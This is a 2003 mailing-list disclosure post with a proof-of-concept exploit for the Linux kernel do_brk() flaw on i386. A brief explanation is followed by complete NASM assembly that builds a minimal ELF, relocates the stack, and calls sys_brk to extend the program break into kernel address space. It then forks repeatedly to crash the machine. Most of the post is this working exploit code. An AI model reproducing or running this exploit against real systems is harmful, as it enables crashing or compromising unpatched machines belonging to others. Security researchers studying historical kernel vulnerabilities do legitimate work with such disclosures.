Date: Thu, 4 Dec 2003 16:35:43 +0100
From: Julien TINNES <[email protected]>
To: [email protected]Subject: Linux kernel do_brk(), another proof-of-concept code for i386
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There were complains that previous POC wasn't working on some kernels, and I
even saw a guy on IRC asking about POC using a different method.
The previous version was relying on the Linux ELF loader to call do_brk for
us. This one uses sys_brk(), but to bypass a check of available memory in
sys_brk we still have to map our code high in memory (but not past
PAGE_OFFSET this time).
To be able to call sys_brk with success we had to make sure the stack was'nt
above our program (in most case we have to move it).
Then you can easily crash your system (do a fork(), clone(), execve()...),
doing something else is'nt trivial :p
Use NASM 0.98.38 or higher to compile.
Julien TINNES
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; Christophe Devine (devine at cr0.net) and Julien Tinnes (julien at cr0.org)
;
; This exploit uses sys_brk directly to expand his break and doesn't rely
; on the ELF loader to do it.
;
; To bypass a check in sys_brk against available memory, we use a high
; virtual address as base address
;
; In most case (let's say when no PaX w/ ASLR :) we have to move the stack
; so that we can expand our break
;
BITS 32
org 0xBFFF0000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1 ; e_ident
times 9 db 0
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd filesize ; p_filesz
dd filesize ; p_memsz
dd 7 ; p_flags
dd 0x1000 ; p_align
phdrsize equ $ - phdr
_start:
; ** Make sure the stack is not above us
mov eax, 163 ; mremap
mov ebx, esp
and ebx, ~(0x1000 - 1) ; align to page size
mov ecx, 0x1000 ; we suppose stack is one page only
mov edx, 0x9000 ; be sure it can't get mapped after
; us
mov esi,1 ; MREMAP_MAYMOVE
int 0x80
and esp, (0x1000 - 1) ; offset in page
add esp, eax ; stack ptr to new location
; nb: we don't fix
; pointers so environ/cmdline
; are not available
mov eax,152 ; mlockall (for tests as root)
mov ebx,2 ; MCL_FUTURE
int 0x80
; get VMAs for the kernel memory
mov eax,45 ; brk
mov ebx,0xC0500000
int 0x80
mov ecx, 4
loop0:
mov eax, 2 ; fork
int 0x80
loop loop0
_idle:
mov eax,162 ; nanosleep
mov ebx,timespec
int 0x80
jmp _idle
timespec dd 10,0
filesize equ $ - $$
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